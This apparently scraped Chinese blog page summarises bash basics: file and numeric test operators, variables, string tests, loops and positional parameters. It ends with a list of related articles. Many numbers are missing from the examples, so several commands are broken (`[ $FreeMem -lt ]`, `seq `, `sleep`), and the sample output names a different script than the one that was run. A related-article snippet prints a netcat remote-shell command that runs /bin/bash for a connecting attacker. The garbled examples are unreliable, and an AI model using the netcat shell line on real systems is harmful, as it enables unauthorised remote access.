一 判断

-d     测试是否为目录。
-f 判断是否为文件。 -s 判断文件是否为空 如果不为空 则返回0,否则返回1
-e     测试文件或目录是否存在。
-r 测试当前用户是否有权限读取。
-w 测试当前用户是否有权限写入。
-x 测试当前用户是否有权限执行。
语法:
[ -d /etc/fstab ]
且 或 非
&& 逻辑的与,"而且"的意思。
|| 逻辑的或,"或者"的意思。
! 逻辑的否 [ $USER != root ] && echo "user"
[ $USER != root ] && echo "user" || echo "root" -eq 判断是否等于
-ne 判断是否不等于
-gt 判断是否大于
-lt 判断是否小于
-le 判断是否等于或小于
-ge 判断是否大于或等于 [ -gt ]

二 变量

[root@lanny ~]# FreeMem=`free -m | grep cache: | awk '{print $3}'`
验证变量是否已经获得可用内存量:
[root@lanny ~]# echo $FreeMem 告警内存不够用:
[root@lanny ~]# [ $FreeMem -lt ] && echo "Insufficient Memory"
Insufficient Memory

三 字符串

=     比较字符串内容是否相同。
!= 比较字符串内容是否不同。
-z 判断字符串内容是否为空。 ----->从而判断变量是否被定义.
[ -n "$var" ]                     :判断$var变量是否有值->已经定义?
判断String变量是否为空值:

[root@lanny ~]# [ -z $String ]

上一条命令执行成功,说明变量String确实为空值:
[root@lanny ~]# echo $? 输出当前的系统语言:
[root@lanny ~]# echo $LANG
en_US.UTF- 判断当前的系统语言是否为英文,否则输出“不是英语”:
[root@lanny ~]# [ $LANG != "en.US" ] && echo "Not en.US"
Not en.US

四 语句

if then fi
for do done
while do done .1判断语句
if [ -f /home/ ];then
echo ok;
fi
.2循环语句
for i in `seq `;do
echo $i
done while :;do
echo `date`
sleep
done

五 参数:

$? 显示上一条命令的返回值,非0则为失败,即不是目录
$ 第一个参数
[root@lanny ~]# vim test.sh
#!/bin/bash
echo "当前脚本名称为$0"
echo "总共有$#个参数,分别是$*。"
echo "第1个参数为$1,第5个为$5。 [root@lanny ~]# sh test.sh one two three four five six
当前脚本名称为Example.sh
总共有6个参数,分别是one two three four five six。
第1个参数为one,第5个为five。

shell小结的更多相关文章

  1. 反弹Shell小结

    1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc  server-ip 7777 1.2.反向反弹shell 攻击机 nc ...

  2. [sh]shell小结

    一 判断 -d 测试是否为目录.-f 判断是否为文件. -s 判断文件是否为空 如果不为空 则返回0,否则返回1 -e 测试文件或目录是否存在. -r 测试当前用户是否有权限读取. -w 测试当前用户 ...

  3. 小鸟初学Shell编程(六)变量赋值

    变量的意义 我们在使用Linux命令或脚本的时候,会有一些输出,那么这些输出的信息可以用变量临时存储,以备我们下一条命令或脚本使用. 变量的定义 变量的定义建议用一个有意义的英文单词来代表变量,不要使 ...

  4. hctf2016 fheap学习(FlappyPig队伍的解法)

    目录 漏洞原理 二次释放 如何在第二次释放前修改函数地址 fastbin的特性 修改函数指针流程 如何获得进程的加载基址 格式化字符串漏洞 确定printf函数在代码段中偏移 printf函数输出想要 ...

  5. Beginning Linux Programming 学习-chapter2-Shell programming-Pipes and Redirection

    "为了从事创造性工作,人类需要孤独,可是在孤独中,广义的人类仍存在于内心."--(德国)奥铿                                             ...

  6. PHP木马免杀的一些总结

    前言 这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助.这里解释一下什么是php木马,这里大体分为三种: 能完成写入文件.列目录.查看文件.执行一些系统命令等少量功能的,这种的是" ...

  7. shell脚本中各类括号的作用(小结)

    技巧小结: 字符串比较用双中括号[[ ]]:算数比较用单中括号[ ]——左右留空格 算数运算用双小括号(( )) :shell命令及输出用小括号( )——左右不留空格 快速替换用花括号{ }——左右留 ...

  8. shell 环境变量的知识小结

    环境变量的知识小结:·变量名通常要大写.·变量可以在自身的Shell及子Shell中使用.·常用export来定义环境变量.·执行env默认可以显示所有的环境变量名称及对应的值.·输出时用“$变量名” ...

  9. python中执行shell命令的几个方法小结(转载)

    转载:http://www.jb51.net/article/55327.htm python中执行shell命令的几个方法小结 投稿:junjie 字体:[增加 减小] 类型:转载 时间:2014- ...

随机推荐

  1. android:#FFFFFFFF 颜色码解析

    原文地址:android:#FFFFFFFF 颜色作者:android小鸟 颜色色码为#FFFFFFFF 其中颜色顺序依次为#AARRGGBB 前两位AA代表透明度,FF时表示不透明,00表示透明: ...

  2. 我有一个 APP 创意,如何将其实现?

    原文链接http://www.techweb.com.cn/business/2015-05-19/2154266_1.shtml 很多人总觉得找到程序猿..哦,是工程师,就可以了.可是你看,大部分 ...

  3. SQL JOIN

  4. UnityShader之Shader分类篇【Shader资料2】

    关于ShaderLab,从我个人的理解上来看应该是分为三种类型. 1.Fixed function shader 固定渲染管线Shader,基于用于高级Shader在老显卡无法显示时的Fallback ...

  5. android studio annotation 配置过程

    参考了好些配置,发现总有这样,那样的问题. 环境:androidstudio 1.5 preview 2 sdk 6.0 1.首先新建一个android项目. 过程略 2.配置project的buil ...

  6. CIO的职责、条件及价值

    从ERP项目的成功率中,我们可以知道企业的信息化道路是漫长的:从企业对ERP的投资热情中,我们可以知道企业信息化已经是企业的生死之战.对于信息化的成功,许多专家.学者都在强调“一把手”工程,ISO要“ ...

  7. oracle-表空间满了

    一.查看 "sum MB", (a.bytes "used MB",b.bytes "free MB", ,) "used%&qu ...

  8. ASP.NET5 MVC6入门教学之一(自己动手)

    等待微软开源大动作已经好几年了,终于ASP.NET 5发布了.今天给新手们写一个简单地教程,教你认识一下ASP.NET5 MVC6 1.安装kvm 首先,你需要以管理员权限打开cmd,执行如下的脚本: ...

  9. Sublime text3中配置Github

    一.Git安装 到Git的 官网 上去下载相应环境的Git安装文件. 我的是win10,安装到D:\ProgramFiles\Git,在桌面右键出现下面两个红色框框就可以了. 二.Git配置及生成密钥 ...

  10. 计算几何 平面最近点对 nlogn分治算法 求平面中距离最近的两点

    平面最近点对,即平面中距离最近的两点 分治算法: int SOLVE(int left,int right)//求解点集中区间[left,right]中的最近点对 { double ans; //an ...